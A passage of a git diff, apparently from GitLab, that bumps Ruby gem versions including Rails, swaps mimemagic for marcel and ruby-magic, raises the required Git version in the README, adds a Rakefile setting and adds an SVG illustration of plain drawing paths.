kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
@@ -680,12 +682,12 @@ GEM
jsonpath (~> 1.0)
recursive-open-struct (~> 1.1, >= 1.1.1)
rest-client (~> 2.0)
- launchy (2.4.3)
- addressable (~> 2.3)
+ launchy (2.5.0)
+ addressable (~> 2.7)
lefthook (0.7.2)
letter_opener (1.7.0)
launchy (~> 2.2)
- letter_opener_web (1.3.4)
+ letter_opener_web (1.4.0)
actionmailer (>= 3.2)
letter_opener (~> 1.0)
railties (>= 3.2)
@@ -707,21 +709,20 @@ GEM
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
locale (2.1.3)
- lockbox (0.3.3)
+ lockbox (0.6.2)
lograge (0.11.2)
actionpack (>= 4)
activesupport (>= 4)
railties (>= 4)
request_store (~> 1.0)
- loofah (2.8.0)
+ loofah (2.9.1)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
lru_redux (1.1.0)
lumberjack (1.2.7)
mail (2.7.1)
mini_mime (>= 0.1.1)
- marcel (0.3.3)
- mimemagic (~> 0.3.2)
+ marcel (1.0.1)
marginalia (1.10.0)
actionpack (>= 2.3)
activerecord (>= 2.3)
@@ -735,7 +736,7 @@ GEM
mime-types-data (3.2020.0512)
mini_histogram (0.3.1)
mini_magick (4.10.1)
- mini_mime (1.0.2)
+ mini_mime (1.1.0)
mini_portile2 (2.5.0)
minitest (5.11.3)
mixlib-cli (2.1.8)
@@ -774,7 +775,7 @@ GEM
netrc (0.11.0)
nio4r (2.5.4)
no_proxy_fix (0.1.2)
- nokogiri (1.11.1)
+ nokogiri (1.11.3)
mini_portile2 (~> 2.5.0)
racc (~> 1.4)
nokogumbo (2.0.2)
@@ -953,20 +954,20 @@ GEM
rack-test (1.1.0)
rack (>= 1.0, < 3)
rack-timeout (0.5.2)
- rails (6.0.3.4)
- actioncable (= 6.0.3.4)
- actionmailbox (= 6.0.3.4)
- actionmailer (= 6.0.3.4)
- actionpack (= 6.0.3.4)
- actiontext (= 6.0.3.4)
- actionview (= 6.0.3.4)
- activejob (= 6.0.3.4)
- activemodel (= 6.0.3.4)
- activerecord (= 6.0.3.4)
- activestorage (= 6.0.3.4)
- activesupport (= 6.0.3.4)
+ rails (6.0.3.6)
+ actioncable (= 6.0.3.6)
+ actionmailbox (= 6.0.3.6)
+ actionmailer (= 6.0.3.6)
+ actionpack (= 6.0.3.6)
+ actiontext (= 6.0.3.6)
+ actionview (= 6.0.3.6)
+ activejob (= 6.0.3.6)
+ activemodel (= 6.0.3.6)
+ activerecord (= 6.0.3.6)
+ activestorage (= 6.0.3.6)
+ activesupport (= 6.0.3.6)
bundler (>= 1.3.0)
- railties (= 6.0.3.4)
+ railties (= 6.0.3.6)
sprockets-rails (>= 2.0.0)
rails-controller-testing (1.0.5)
actionpack (>= 5.0.1.rc1)
@@ -980,9 +981,9 @@ GEM
rails-i18n (6.0.0)
i18n (>= 0.7, < 2)
railties (>= 6.0.0, < 7)
- railties (6.0.3.4)
- actionpack (= 6.0.3.4)
- activesupport (= 6.0.3.4)
+ railties (6.0.3.6)
+ actionpack (= 6.0.3.6)
+ activesupport (= 6.0.3.6)
method_source
rake (>= 0.8.7)
thor (>= 0.20.3, < 2.0)
@@ -1044,7 +1045,7 @@ GEM
nokogiri
rexml (3.2.5)
rinku (2.0.0)
- rotp (2.1.2)
+ rotp (6.2.0)
rouge (3.26.0)
rqrcode (0.7.0)
chunky_png
@@ -1068,10 +1069,10 @@ GEM
proc_to_ast
rspec (>= 2.13, < 4)
unparser
- rspec-rails (4.0.2)
- actionpack (>= 4.2)
- activesupport (>= 4.2)
- railties (>= 4.2)
+ rspec-rails (5.0.1)
+ actionpack (>= 5.2)
+ activesupport (>= 5.2)
+ railties (>= 5.2)
rspec-core (~> 3.10)
rspec-expectations (~> 3.10)
rspec-mocks (~> 3.10)
@@ -1113,7 +1114,8 @@ GEM
i18n
ruby-fogbugz (0.2.1)
crack (~> 0.4)
- ruby-magic-static (0.3.4)
+ ruby-magic (0.4.0)
+ mini_portile2 (~> 2.5.0)
ruby-prof (1.3.1)
ruby-progressbar (1.11.0)
ruby-saml (1.12.1)
@@ -1224,6 +1226,8 @@ GEM
terser (1.0.2)
execjs (>= 0.3.0, < 3)
test-prof (0.12.0)
+ test_file_finder (0.1.3)
+ faraday (~> 1.0.1)
text (1.3.1)
thin (1.8.0)
daemons (~> 1.0, >= 1.0.9)
@@ -1361,10 +1365,9 @@ DEPENDENCIES
bcrypt_pbkdf (~> 1.0)
benchmark-ips (~> 2.3.0)
benchmark-memory (~> 0.1)
- better_errors (~> 2.7.1)
+ better_errors (~> 2.9.0)
bootsnap (~> 1.4.6)
bootstrap_form (~> 4.2.0)
- brakeman (~> 4.2)
browser (~> 4.2)
bullet (~> 6.1.3)
bundler-audit (~> 0.7.0.1)
@@ -1378,7 +1381,6 @@ DEPENDENCIES
countries (~> 3.0)
creole (~> 0.5.0)
crystalball (~> 0.7.0)
- danger-gitlab (~> 8.0)
database_cleaner (~> 1.7.0)
deckar01-task_list (= 2.3.1)
default_value_for (~> 3.4.0)
@@ -1386,7 +1388,7 @@ DEPENDENCIES
derailed_benchmarks
device_detector
devise (~> 4.7.2)
- devise-two-factor (~> 3.1.0)
+ devise-two-factor (~> 4.0.0)
diff_match_patch (~> 0.1.0)
diffy (~> 3.3)
discordrb-webhooks (~> 3.4)
@@ -1421,26 +1423,26 @@ DEPENDENCIES
gettext (~> 3.3)
gettext_i18n_rails (~> 1.8.0)
gettext_i18n_rails_js (~> 1.3)
- gitaly (~> 13.9.0.pre.rc1)
+ gitaly (~> 13.11.0.pre.rc1)
github-markup (~> 1.7.0)
gitlab-chronic (~> 0.10.5)
- gitlab-dangerfiles (~> 0.8.0)
- gitlab-experiment (~> 0.5.0)
+ gitlab-dangerfiles (~> 1.1.1)
+ gitlab-experiment (~> 0.5.3)
gitlab-fog-azure-rm (~> 1.0.1)
gitlab-fog-google (~> 1.13)
- gitlab-labkit (~> 0.16.1)
- gitlab-license (~> 1.3)
+ gitlab-labkit (~> 0.16.2)
+ gitlab-license (~> 1.4)
gitlab-mail_room (~> 0.0.9)
gitlab-markup (~> 1.7.1)
gitlab-net-dns (~> 0.9.1)
gitlab-pry-byebug
- gitlab-sidekiq-fetcher (= 0.5.5)
- gitlab-styles (~> 6.1.0)
+ gitlab-sidekiq-fetcher (= 0.5.6)
+ gitlab-styles (~> 6.2.0)
gitlab_chronic_duration (~> 0.10.6.2)
gitlab_omniauth-ldap (~> 2.1.1)
- gon (~> 6.2)
+ gon (~> 6.4.0)
google-api-client (~> 0.33)
- google-protobuf (~> 3.12)
+ google-protobuf (~> 3.14.0)
gpgme (~> 2.0.19)
grape (~> 1.5.2)
grape-entity (~> 0.7.1)
@@ -1454,7 +1456,7 @@ DEPENDENCIES
gssapi
guard-rspec
haml_lint (~> 0.36.0)
- hamlit (~> 2.14.4)
+ hamlit (~> 2.15.0)
hangouts-chat (~> 0.0.5)
hashie
hashie-forbidden_attributes
@@ -1472,22 +1474,22 @@ DEPENDENCIES
json_schemer (~> 0.2.12)
jwt (~> 2.1.0)
kaminari (~> 1.0)
- knapsack (~> 1.17)
- kramdown (~> 2.3.0)
+ knapsack (~> 1.21.1)
+ kramdown (~> 2.3.1)
kubeclient (~> 4.9.1)
- lefthook (~> 0.7)
- letter_opener_web (~> 1.3.4)
+ lefthook (~> 0.7.0)
+ letter_opener_web (~> 1.4.0)
license_finder (~> 6.0)
licensee (~> 9.14.1)
- lockbox (~> 0.3.3)
+ lockbox (~> 0.6.2)
lograge (~> 0.5)
loofah (~> 2.2)
lru_redux
mail (= 2.7.1)
+ mail-smtp_pool (~> 0.1.0)!
marginalia (~> 1.10.0)
memory_profiler (~> 0.9)
method_source (~> 1.0)
- mimemagic (= 0.3.7)!
mini_magick (~> 4.10.1)
minitest (~> 5.11.0)
multi_json (~> 1.14.1)
@@ -1537,7 +1539,7 @@ DEPENDENCIES
rack-oauth2 (~> 1.16.0)
rack-proxy (~> 0.6.0)
rack-timeout (~> 0.5.1)
- rails (~> 6.0.3.1)
+ rails (~> 6.0.3.6)
rails-controller-testing
rails-i18n (~> 6.0)
rainbow (~> 3.0)
@@ -1557,12 +1559,12 @@ DEPENDENCIES
rouge (~> 3.26.0)
rqrcode-rails3 (~> 0.1.7)
rspec-parameterized
- rspec-rails (~> 4.0.2)
+ rspec-rails (~> 5.0.1)
rspec-retry (~> 0.6.1)
rspec_junit_formatter
rspec_profiling (~> 0.0.6)
ruby-fogbugz (~> 0.2.1)
- ruby-magic-static (~> 0.3.4)
+ ruby-magic (~> 0.4)
ruby-prof (~> 1.3.0)
ruby-progressbar (~> 1.10)
ruby-saml (~> 1.12.1)
@@ -1592,6 +1594,7 @@ DEPENDENCIES
sys-filesystem (~> 1.1.6)
terser (= 1.0.2)
test-prof (~> 0.12.0)
+ test_file_finder (~> 0.1.3)
thin (~> 1.8.0)
thrift (>= 0.14.0)
timecop (~> 0.9.1)
diff --git a/README.md b/README.md
index e3712d3f9f8..63c9570474e 100644
--- a/README.md
+++ b/README.md
@@ -80,7 +80,7 @@ GitLab is a Ruby on Rails application that runs on the following software:
- Ubuntu/Debian/CentOS/RHEL/OpenSUSE
- Ruby (MRI) 2.7.2
-- Git 2.24+
+- Git 2.31+
- Redis 4.0+
- PostgreSQL 11+
diff --git a/Rakefile b/Rakefile
index 445542e5c00..eb2f158972d 100755
--- a/Rakefile
+++ b/Rakefile
@@ -4,6 +4,8 @@
# Add your own tasks in files placed in lib/tasks ending in .rake,
# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+Rake::TaskManager.record_task_metadata = true
+
require File.expand_path('config/application', __dir__)
relative_url_conf = File.expand_path('config/initializers/relative_url', __dir__)
diff --git a/app/assets/images/learn_gitlab/issue_created.svg b/app/assets/images/learn_gitlab/issue_created.svg
new file mode 100644
index 00000000000..01652b97fc0
--- /dev/null
+++ b/app/assets/images/learn_gitlab/issue_created.svg
@@ -0,0 +1,65 @@
+<svg width="81" height="48" viewBox="0 0 81 48" fill="none" xmlns="http://www.w3.org/2000/svg">
+<g clip-path="url(#clip0)">
+<path fill-rule="evenodd" clip-rule="evenodd" d="M42.9799 11.6386C42.9688 11.7501 42.955 11.8786 42.9384 12.0222C42.8865 12.4687 42.8257 12.9142 42.756 13.3582C42.7493 13.3954 42.7501 13.4335 42.7584 13.4704C42.7667 13.5072 42.7822 13.542 42.8041 13.5728C42.826 13.6035 42.8538 13.6296 42.8859 13.6495C42.918 13.6693 42.9538 13.6826 42.9911 13.6884C43.0284 13.6943 43.0664 13.6926 43.1031 13.6835C43.1397 13.6745 43.1742 13.6582 43.2045 13.6356C43.2347 13.613 43.2602 13.5847 43.2793 13.5521C43.2985 13.5196 43.3109 13.4835 43.316 13.4461C43.3915 12.9637 43.4531 12.506 43.5015 12.0874C43.5221 11.9092 43.5408 11.7308 43.5577 11.5522C43.5609 11.5151 43.5568 11.4777 43.5456 11.4422C43.5343 11.4067 43.5162 11.3738 43.4923 11.3453C43.4684 11.3168 43.439 11.2933 43.406 11.2761C43.373 11.2589 43.3369 11.2484 43.2998 11.2452C43.2627 11.242 43.2253 11.2461 43.1898 11.2573C43.1543 11.2685 43.1214 11.2866 43.0929 11.3106C43.0644 11.3345 43.0409 11.3638 43.0237 11.3969C43.0065 11.4299 42.996 11.466 42.9928 11.5031C42.9909 11.5263 42.9866 11.572 42.9799 11.6386ZM41.9287 16.9968C41.9171 17.0322 41.9127 17.0695 41.9156 17.1066C41.9185 17.1438 41.9287 17.1799 41.9456 17.2131C41.9624 17.2463 41.9857 17.2758 42.014 17.3C42.0423 17.3242 42.0751 17.3426 42.1105 17.3542C42.1459 17.3657 42.1832 17.3701 42.2203 17.3672C42.2574 17.3643 42.2936 17.3541 42.3268 17.3373C42.36 17.3204 42.3895 17.2971 42.4137 17.2688C42.4379 17.2405 42.4563 17.2078 42.4678 17.1724C42.6521 16.606 42.8172 15.985 42.9645 15.321C42.9734 15.2843 42.975 15.2462 42.9691 15.2089C42.9631 15.1716 42.9498 15.1359 42.9299 15.1039C42.91 15.0718 42.8839 15.044 42.8531 15.0222C42.8223 15.0004 42.7874 14.9849 42.7506 14.9767C42.7137 14.9686 42.6756 14.9678 42.6385 14.9746C42.6013 14.9813 42.5659 14.9954 42.5343 15.016C42.5027 15.0367 42.4755 15.0634 42.4543 15.0947C42.4332 15.1259 42.4185 15.1611 42.4111 15.1981C42.2675 15.8456 42.1069 16.4491 41.9287 16.9968ZM40.0489 19.874C40.0136 19.8862 39.981 19.9053 39.9531 19.9302C39.9252 19.955 39.9025 19.9852 39.8863 20.0189C39.8701 20.0526 39.8607 20.0891 39.8587 20.1265C39.8566 20.1638 39.862 20.2012 39.8745 20.2364C39.887 20.2716 39.9063 20.3041 39.9313 20.3318C39.9564 20.3596 39.9867 20.3821 40.0205 20.3981C40.0543 20.4141 40.0909 20.4232 40.1283 20.425C40.1656 20.4267 40.2029 20.4211 40.2381 20.4084C40.8012 20.209 41.2854 19.713 41.7083 18.9671C41.7454 18.9017 41.755 18.8242 41.735 18.7517C41.715 18.6792 41.667 18.6177 41.6016 18.5806C41.5362 18.5435 41.4587 18.5339 41.3862 18.554C41.3137 18.574 41.2522 18.622 41.2151 18.6874C40.8532 19.3257 40.4601 19.7283 40.0489 19.874ZM36.3662 20.7087C36.3319 20.7231 36.3007 20.7442 36.2746 20.7706C36.2484 20.7971 36.2277 20.8285 36.2136 20.863C36.1996 20.8974 36.1925 20.9343 36.1927 20.9716C36.1929 21.0088 36.2004 21.0456 36.2149 21.0799C36.2293 21.1142 36.2504 21.1454 36.2769 21.1715C36.3033 21.1977 36.3347 21.2184 36.3692 21.2324C36.4037 21.2465 36.4406 21.2536 36.4778 21.2534C36.515 21.2532 36.5518 21.2456 36.5861 21.2312C37.1757 20.9829 37.7714 20.792 38.3357 20.6679C38.4091 20.6517 38.4731 20.607 38.5136 20.5437C38.5541 20.4803 38.5677 20.4035 38.5516 20.3301C38.5354 20.2566 38.4907 20.1926 38.4274 20.1521C38.364 20.1117 38.2872 20.098 38.2138 20.1142C37.6153 20.2459 36.9871 20.4473 36.3662 20.7087ZM33.1143 22.7955C33.0607 22.8475 33.0298 22.9186 33.0283 22.9932C33.0267 23.0678 33.0547 23.1401 33.1061 23.1942C33.1576 23.2483 33.2282 23.28 33.3029 23.2823C33.3775 23.2846 33.45 23.2574 33.5047 23.2066C33.9359 22.7967 34.4242 22.42 34.9553 22.0829C35.0187 22.0426 35.0636 21.9788 35.08 21.9054C35.0964 21.832 35.083 21.7551 35.0427 21.6916C35.0024 21.6282 34.9385 21.5833 34.8651 21.5669C34.7918 21.5505 34.7149 21.5639 34.6514 21.6042C34.0901 21.9605 33.5729 22.3598 33.1143 22.7955ZM31.0777 26.1259C31.0686 26.162 31.0667 26.1995 31.0721 26.2364C31.0776 26.2732 31.0902 26.3086 31.1093 26.3406C31.1284 26.3725 31.1536 26.4004 31.1835 26.4226C31.2134 26.4448 31.2474 26.4609 31.2835 26.47C31.3196 26.4791 31.3571 26.481 31.3939 26.4755C31.4308 26.4701 31.4662 26.4575 31.4981 26.4384C31.5301 26.4193 31.558 26.394 31.5802 26.3642C31.6024 26.3343 31.6185 26.3003 31.6276 26.2642C31.7727 25.6871 32.0133 25.1347 32.3419 24.611C32.3799 24.5474 32.3915 24.4715 32.3742 24.3994C32.3569 24.3274 32.3121 24.265 32.2493 24.2256C32.1866 24.1862 32.1109 24.1729 32.0385 24.1886C31.9661 24.2043 31.9027 24.2478 31.8619 24.3096C31.5023 24.8826 31.2379 25.4896 31.0777 26.1259ZM31.0276 29.9893C31.0322 30.0262 31.0441 30.0619 31.0626 30.0943C31.081 30.1266 31.1056 30.155 31.135 30.1778C31.1644 30.2007 31.1981 30.2175 31.234 30.2273C31.2699 30.2371 31.3074 30.2398 31.3443 30.2352C31.3813 30.2305 31.4169 30.2186 31.4493 30.2002C31.4816 30.1818 31.51 30.1571 31.5328 30.1277C31.5557 30.0983 31.5725 30.0647 31.5823 30.0288C31.5922 29.9929 31.5948 29.9554 31.5902 29.9184C31.5208 29.3685 31.4806 28.7587 31.4683 28.0633C31.467 27.9881 31.4358 27.9165 31.3817 27.8643C31.3276 27.8121 31.255 27.7835 31.1798 27.7848C31.1046 27.7861 31.0331 27.8173 30.9808 27.8714C30.9286 27.9255 30.9 27.9981 30.9014 28.0733C30.914 28.7882 30.9556 29.418 31.0276 29.9893ZM32.2028 33.6691C32.238 33.7355 32.2981 33.7853 32.37 33.8074C32.4418 33.8295 32.5195 33.8222 32.586 33.7871C32.6524 33.7519 32.7022 33.6918 32.7243 33.6199C32.7465 33.5481 32.7392 33.4704 32.704 33.4039C32.3876 32.8064 32.1554 32.271 31.9768 31.7139C31.9539 31.6423 31.9034 31.5828 31.8365 31.5484C31.7697 31.514 31.6919 31.5075 31.6203 31.5305C31.5487 31.5535 31.4892 31.6039 31.4548 31.6708C31.4204 31.7376 31.414 31.8154 31.4369 31.887C31.6265 32.4779 31.8719 33.0435 32.2028 33.6691ZM33.6326 36.0823C33.8058 36.3634 33.9778 36.6453 34.1485 36.9279C34.1874 36.9923 34.2502 37.0386 34.3233 37.0567C34.3963 37.0747 34.4734 37.063 34.5378 37.0241C34.6022 36.9853 34.6485 36.9224 34.6665 36.8494C34.6846 36.7764 34.6729 36.6992 34.634 36.6348C34.4623 36.351 34.2895 36.0678 34.1155 35.7854C34.1306 35.81 33.7462 35.1858 33.6457 35.0219C33.6264 34.9897 33.601 34.9617 33.5709 34.9394C33.5407 34.9171 33.5065 34.901 33.4701 34.892C33.4337 34.8831 33.3958 34.8814 33.3588 34.8872C33.3217 34.8929 33.2862 34.906 33.2542 34.9256C33.2222 34.9451 33.1945 34.9709 33.1725 35.0013C33.1506 35.0317 33.1349 35.0661 33.1263 35.1026C33.1177 35.1391 33.1165 35.177 33.1227 35.2139C33.1289 35.2509 33.1423 35.2863 33.1623 35.3181C33.2632 35.4825 33.6481 36.1076 33.6326 36.0825V36.0823ZM35.3062 40.3242C35.3067 40.3615 35.3145 40.3982 35.3292 40.4324C35.3439 40.4666 35.3652 40.4976 35.3918 40.5236C35.4185 40.5496 35.45 40.57 35.4846 40.5838C35.5192 40.5976 35.5561 40.6045 35.5933 40.604C35.6306 40.6035 35.6673 40.5957 35.7015 40.581C35.7357 40.5663 35.7667 40.545 35.7927 40.5184C35.8187 40.4917 35.8392 40.4602 35.853 40.4256C35.8668 40.391 35.8736 40.3541 35.8731 40.3169C35.8648 39.6518 35.7475 38.9926 35.526 38.3655C35.4998 38.2962 35.4474 38.2399 35.3802 38.2087C35.313 38.1775 35.2363 38.1738 35.1664 38.1985C35.0966 38.2232 35.0392 38.2743 35.0065 38.3407C34.9738 38.4072 34.9684 38.4839 34.9915 38.5543C35.1924 39.1231 35.2987 39.721 35.3062 40.3242ZM34.27 43.7311C34.2299 43.7937 34.216 43.8695 34.2313 43.9422C34.2466 44.015 34.2898 44.0788 34.3517 44.12C34.4135 44.1612 34.4891 44.1764 34.5621 44.1624C34.6351 44.1484 34.6997 44.1063 34.7419 44.0452C35.109 43.4961 35.3947 42.8967 35.59 42.2658C35.6121 42.1939 35.6048 42.1162 35.5696 42.0497C35.5344 41.9833 35.4743 41.9335 35.4024 41.9114C35.3305 41.8893 35.2528 41.8967 35.1864 41.9319C35.1199 41.9671 35.0702 42.0272 35.0481 42.0991C34.8689 42.6778 34.6068 43.2275 34.27 43.7311Z" fill="#FDE5D8"/>
+<path d="M60.8446 31.6803L53.1713 38.2926M49.7697 32.4009L59.3328 29.0618L49.7697 32.4009Z" stroke="#FDE5D8" stroke-linecap="round"/>
+<path d="M60.2631 30.4887C60.3987 30.4104 60.4451 30.237 60.3668 30.1014C60.2886 29.9659 60.1152 29.9194 59.9796 29.9977L54.1288 33.3756C53.9932 33.4539 53.9468 33.6273 54.0251 33.7629C54.1033 33.8984 54.2767 33.9449 54.4123 33.8666L60.2631 30.4887Z" fill="#FDE5D8"/>
+<path d="M63.2421 30.9507L61.2578 27.5138C61.1535 27.3331 60.9223 27.2711 60.7415 27.3755L59.9327 27.8425C59.752 27.9468 59.69 28.178 59.7944 28.3588L61.7786 31.7956C61.883 31.9764 62.1142 32.0383 62.2949 31.9339L63.1037 31.467C63.2845 31.3626 63.3464 31.1314 63.2421 30.9507Z" fill="white" stroke="#FDE5D8"/>
+<path d="M69.8124 20.1746L73.8754 27.2119L63.7936 33.0326L59.7306 25.9953L69.8124 20.1746Z" stroke="#FDE5D8"/>
+<path d="M68.6454 29.795L68.3599 32.8374C68.35 32.9411 68.2766 33.0767 68.1935 33.1419L64.4623 36.0762C64.2994 36.2045 64.2327 36.1536 64.3133 35.9633L65.268 33.7089L65.5559 31.5788" stroke="#FDE5D8"/>
+<path d="M64.9604 23.4123L62.1829 22.1385C62.088 22.0951 61.934 22.0911 61.836 22.1302L57.4292 23.8944C57.2367 23.9715 57.2473 24.0546 57.4525 24.08L59.8823 24.3805L61.8709 25.1962" stroke="#FDE5D8"/>
+<path d="M69.8126 20.1746L76.321 20.7344C76.6326 20.7612 76.778 21.0118 76.645 21.2955L73.8758 27.2118" stroke="#FDE5D8"/>
+<path d="M62.0503 27.3839C62.1285 27.5195 62.3012 27.5663 62.4359 27.4886C62.5705 27.4108 62.6163 27.2379 62.538 27.1023C62.4597 26.9667 62.2871 26.9198 62.1524 26.9976C62.0177 27.0754 61.972 27.2483 62.0503 27.3839Z" fill="#FC8A51"/>
+<path d="M62.6173 28.3658C62.6955 28.5014 62.8682 28.5483 63.0028 28.4705C63.1375 28.3928 63.1832 28.2198 63.105 28.0842C63.0267 27.9487 62.8541 27.9018 62.7194 27.9795C62.5847 28.0573 62.539 28.2302 62.6173 28.3658Z" fill="#FC8A51"/>
+<path d="M63.1841 29.3476C63.2624 29.4832 63.435 29.5301 63.5697 29.4523C63.7044 29.3746 63.7501 29.2016 63.6718 29.066C63.5935 28.9305 63.4209 28.8836 63.2862 28.9613C63.1516 29.0391 63.1058 29.212 63.1841 29.3476Z" fill="#FC8A51"/>
+<path d="M63.7511 30.3297C63.8294 30.4653 64.002 30.5121 64.1367 30.4344C64.2714 30.3566 64.3171 30.1837 64.2388 30.0481C64.1605 29.9125 63.9879 29.8656 63.8532 29.9434C63.7186 30.0212 63.6728 30.1941 63.7511 30.3297Z" fill="#FC8A51"/>
+<path d="M65.9899 27.0731C66.5378 28.0221 67.7464 28.3501 68.6894 27.8057C69.6324 27.2612 69.9527 26.0505 69.4048 25.1015C68.8568 24.1524 67.6482 23.8244 66.7052 24.3689C65.7622 24.9133 65.4419 26.124 65.9899 27.0731Z" stroke="#FDE5D8"/>
+<path d="M66.8032 26.6036C67.0902 27.1008 67.7233 27.2726 68.2173 26.9874C68.7113 26.7022 68.879 26.068 68.592 25.5709C68.305 25.0738 67.6719 24.902 67.1779 25.1872C66.684 25.4723 66.5162 26.1065 66.8032 26.6036Z" stroke="#FDE5D8"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M18.5279 7.40988C18.4991 7.72887 18.5432 8.13101 18.7163 8.57152C18.7364 8.61656 18.7731 8.65211 18.8188 8.6708C18.8645 8.68948 18.9156 8.68987 18.9615 8.67188C19.0075 8.65389 19.0447 8.61891 19.0656 8.57418C19.0864 8.52945 19.0892 8.47842 19.0734 8.43167C18.924 8.05108 18.8863 7.70752 18.91 7.44408C18.9119 7.42254 18.9137 7.40893 18.9145 7.40421C18.9193 7.37911 18.9189 7.35331 18.9136 7.32834C18.9082 7.30336 18.8979 7.2797 18.8833 7.25876C18.8687 7.23781 18.85 7.22 18.8284 7.20637C18.8068 7.19273 18.7827 7.18355 18.7575 7.17936C18.7323 7.17517 18.7065 7.17605 18.6817 7.18196C18.6568 7.18787 18.6334 7.19868 18.6128 7.21376C18.5922 7.22885 18.5748 7.2479 18.5616 7.26979C18.5485 7.29169 18.5398 7.31599 18.5362 7.34128C18.5326 7.36404 18.5298 7.38692 18.5279 7.40988ZM20.6986 10.3736C20.7914 10.4189 20.9061 10.3855 20.9547 10.2991C21.0033 10.213 20.9675 10.1064 20.8746 10.061C20.5219 9.88963 20.2211 9.69933 19.9686 9.49278C19.9299 9.46178 19.8811 9.44626 19.8316 9.44923C19.7822 9.4522 19.7355 9.47344 19.7008 9.50884C19.6845 9.52574 19.6719 9.5459 19.6638 9.568C19.6557 9.59009 19.6524 9.61364 19.654 9.63711C19.6556 9.66058 19.6622 9.68344 19.6732 9.70422C19.6842 9.725 19.6995 9.74323 19.718 9.75772C19.9936 9.98298 20.3195 10.1892 20.6988 10.3738L20.6986 10.3736ZM23.1801 11.5188C23.2048 11.5264 23.2308 11.5289 23.2565 11.5263C23.2822 11.5238 23.3072 11.5161 23.3299 11.5038C23.3527 11.4915 23.3727 11.4748 23.389 11.4546C23.4052 11.4345 23.4172 11.4113 23.4244 11.3865C23.4399 11.3362 23.435 11.2819 23.4107 11.2352C23.3865 11.1886 23.3448 11.1533 23.2948 11.1371C22.9212 11.0216 22.5486 10.903 22.177 10.7814C22.1524 10.7735 22.1264 10.7705 22.1007 10.7727C22.0749 10.7749 22.0498 10.7822 22.0269 10.7941C22.004 10.8061 21.9837 10.8225 21.9672 10.8425C21.9507 10.8624 21.9383 10.8854 21.9308 10.9101C21.9146 10.9602 21.9187 11.0146 21.9423 11.0616C21.966 11.1087 22.0072 11.1445 22.057 11.1614C22.3837 11.269 22.606 11.3391 23.1801 11.5188ZM25.4353 12.2611C25.5204 12.3076 25.6285 12.2796 25.6772 12.1987C25.6887 12.1795 25.6962 12.158 25.6991 12.1358C25.7021 12.1135 25.7004 12.0909 25.6943 12.0692C25.6882 12.0476 25.6777 12.0275 25.6635 12.0101C25.6493 11.9927 25.6318 11.9784 25.6118 11.968C25.3295 11.8132 25.0086 11.676 24.6165 11.5381C24.5246 11.5059 24.4228 11.5507 24.389 11.6382C24.3549 11.7259 24.4022 11.823 24.4938 11.8554C24.8688 11.9871 25.1723 12.1169 25.4353 12.2611ZM27.2083 14.2457C27.247 14.3391 27.3614 14.3859 27.4632 14.3504C27.5653 14.3149 27.6163 14.2106 27.5776 14.1172C27.4169 13.7302 27.2274 13.3999 27.0036 13.1147C26.94 13.0336 26.8166 13.0151 26.7279 13.0735C26.6393 13.1317 26.6193 13.2447 26.6829 13.3258C26.8859 13.5843 27.0594 13.887 27.2083 14.2457ZM27.7057 16.8237C27.7091 16.9282 27.813 17.0108 27.9378 17.008C28.0625 17.005 28.1607 16.9178 28.1575 16.8133C28.1437 16.3968 28.1065 16.0185 28.04 15.6568C28.0209 15.5534 27.9054 15.4824 27.782 15.4984C27.6588 15.5143 27.5742 15.6113 27.5932 15.7146C27.6567 16.0595 27.6925 16.4224 27.7057 16.8237Z" fill="#EEEEEE"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M27.6172 18.4687C27.6047 18.7996 27.5957 19.1305 27.5903 19.4616C27.589 19.5661 27.6652 19.6521 27.7608 19.6536C27.8564 19.6551 27.9352 19.5718 27.9365 19.4675C27.9403 19.1902 27.9471 18.9608 27.9634 18.4827L27.9683 18.3378C27.9717 18.2334 27.897 18.1458 27.8016 18.142C27.706 18.1382 27.6257 18.2195 27.6221 18.324L27.6172 18.4687ZM27.7678 22.1483C27.7905 22.2513 27.895 22.3168 28.0014 22.2951C28.1076 22.2732 28.1754 22.1721 28.1529 22.0691C28.0741 21.71 28.0187 21.3434 27.9834 20.9609C27.9736 20.8562 27.878 20.7788 27.7697 20.7882C27.6614 20.7977 27.5815 20.8903 27.5911 20.995C27.6279 21.3922 27.6856 21.7737 27.7678 22.1483ZM28.7232 24.4772C28.7792 24.563 28.9033 24.5925 29.0005 24.543C29.0976 24.4937 29.1309 24.3841 29.0751 24.2983C28.8775 23.9966 28.7013 23.6814 28.5479 23.3551C28.505 23.2634 28.3863 23.22 28.2827 23.2578C28.1792 23.2956 28.1297 23.4004 28.1728 23.4919C28.333 23.8328 28.5169 24.1621 28.7232 24.4772ZM29.633 25.9325C29.8392 26.1713 30.063 26.3944 30.3025 26.5998C30.3398 26.6315 30.3877 26.6478 30.4366 26.6455C30.4855 26.6432 30.5317 26.6224 30.5658 26.5873C30.5821 26.5704 30.5948 26.5503 30.603 26.5282C30.6113 26.5062 30.6149 26.4827 30.6136 26.4592C30.6124 26.4357 30.6063 26.4127 30.5958 26.3916C30.5853 26.3706 30.5706 26.3519 30.5525 26.3368C30.3268 26.1431 30.1158 25.9329 29.9214 25.7078C29.8848 25.6652 29.8485 25.6222 29.8125 25.579C29.7807 25.5418 29.7359 25.5182 29.6872 25.5129C29.6386 25.5075 29.5897 25.5209 29.5506 25.5502C29.5315 25.5641 29.5156 25.5818 29.5036 25.6021C29.4917 25.6224 29.4841 25.645 29.4812 25.6684C29.4784 25.6918 29.4804 25.7155 29.4871 25.7381C29.4939 25.7607 29.5052 25.7816 29.5204 25.7997C29.5574 25.8439 29.5948 25.8883 29.633 25.9325ZM32.6235 28.1392C32.7142 28.1849 32.8223 28.1424 32.8647 28.0445C32.907 27.9463 32.8677 27.8299 32.777 27.7841C32.4527 27.6215 32.1381 27.4403 31.8347 27.2414C31.7491 27.1851 31.6375 27.2142 31.5853 27.3066C31.5331 27.3988 31.5602 27.5194 31.6458 27.5757C31.9605 27.7823 32.287 27.9704 32.6235 28.1392Z" fill="#E5E5E5"/>
